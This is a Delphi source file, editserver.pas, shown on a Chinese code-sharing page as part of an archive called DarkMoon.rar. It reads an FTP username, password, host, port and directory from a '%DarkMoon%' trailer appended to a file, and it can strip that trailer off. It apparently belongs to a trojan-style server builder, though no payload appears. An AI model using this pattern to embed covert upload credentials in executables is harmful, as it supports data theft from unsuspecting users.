开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Delphi控件源码 > 查看源码
editserver.pas
资源名称：DarkMoon.rar　[点击查看]
上传用户：hndmjx
上传日期：2014-09-16
资源大小：3369k
文件大小：3k
源码类别：

Delphi控件源码

开发平台：

Delphi

editserver.pas：源码内容
  1. unit editserver;
  3. interface
  4.   uses
  5.   Windows, Messages, SysUtils ,CommandsAndUtils;
  6.              var
  7.      USER, PASS,FTP,PORT,DIR,FileDarkMoon: string   ;
  9. implementation
  11.        
  12.   procedure Clear();
  13. var F :file of char;
  15. s,Data,Data1, tmpData,tmpData1: string;
  16. i ,a: integer;
  17. l ,c : char;
  18. begin
  20. If FileExists (FileDarkMoon)=true Then  begin
  21. AssignFile (F,FileDarkMoon);
  22. FileMode := 0;
  23. Reset (F);
  24. if     filesize(F)>88 then begin
  25. //seek(F,filesize(F)-88);
  26.        end;
  27.         while not eof( F ) do
  28.       begin
  29.            read( F, l );
  30.            Data := Data + l;
  31.       end;
  33. closefile(F);
  36. if StrPos(pchar(Data),'%DarkMoon%') <> '' then begin
  38. Data1:=copy(StrPos(pchar(Data),'%DarkMoon%'),11,100);
  39.    tmpData:= copy(Data,1,length(Data)-length(StrPos(pchar(Data),'%DarkMoon%'))) ;
  40. ///Data1 :=replace(Data1,#13#10,'*');
  41. //messagebox(0,pchar(inttostr(findchar('hh%DarkMoon%hhh','h'))),'d',0);
  42.   //messagebox(0,StrPos('ggggggfggghgggshukisnikeggggng','shukisnike'),'s',0);
  43.      //form1.memo1.Text:=tmpData;
  44.            AssignFile (F,FileDarkMoon);
  45.       rewrite(F);
  46.         for i:=1 to length(  tmpData)   do begin
  47.          c:= stringtochar( copy( tmpData,i,1) );
  49.          write(F,c);
  50.       end;
  51.          closefile(F);
  52.   end;
  54.  end;
  55.  end;
  57.   procedure ReadDarkMoon();
  58. var F :file of char;
  59. var G :file of char;
  60. s,Data,Data1, tmpData,tmpData1: string;
  61. i ,a: integer;
  62. l  : char;
  64. begin
  66.   If FileExists (FileDarkMoon)=true Then  begin
  68. AssignFile (F,FileDarkMoon);
  69. FileMode := 0;
  70. Reset (F);
  71.      if    filesize(F) > 88 then begin
  72. seek(F,filesize(F)-88);
  74.           end;
  76.         while not eof( F ) do
  77.       begin
  78.            read( F, l );
  79.            Data := Data + l;
  80.       end;
  81. //form1.memo1.Text:=  Data;
  82. closefile(F);
  84. if StrPos(pchar(Data),'%DarkMoon%') <>'' then begin
  85. Data1:=copy(StrPos(pchar(Data),'%DarkMoon%'),11,100);
  86. //Data1 :=replace(Data1,#13#10,'*');
  87. //messagebox(0,pchar(inttostr(findchar('hh%DarkMoon%hhh','h'))),'d',0);
  88.   //messagebox(0,StrPos('ggggggfggghgggshukisnikeggggng','shukisnike'),'s',0);
  90.          //   memo1.Text:=  Data1;
  91.       i:=FindNChars (Data1 ,'*' );
  92.           for a:= 1 to i do begin
  93.             tmpData:= (copy(Data1,1,FindChar(Data1,'*'))) ;
  94.               tmpData1:= (copy(Data1,1,FindChar(Data1,'*')-1)) ;
  95.          if a= 1  then begin
  96.             USER:= tmpData1;
  97.             end;
  98.             if a= 2 then  begin
  99.             PASS:= tmpData1;
  100.             end;
  102.            if a= 3  then begin
  103.                FTP:= tmpData1;
  104.             end;
  106.            if a= 4 then begin
  107.                PORT:= tmpData1;
  108.             end;
  109.             if a= 5 then begin
  110.             DIR:= tmpData1;
  111.             end;
  113.               Data1:=replace ( Data1,tmpData,''  );
  114.           end;
  115.                end;
  116.      
  117.  end;
  119. end;
  122. end.
  123.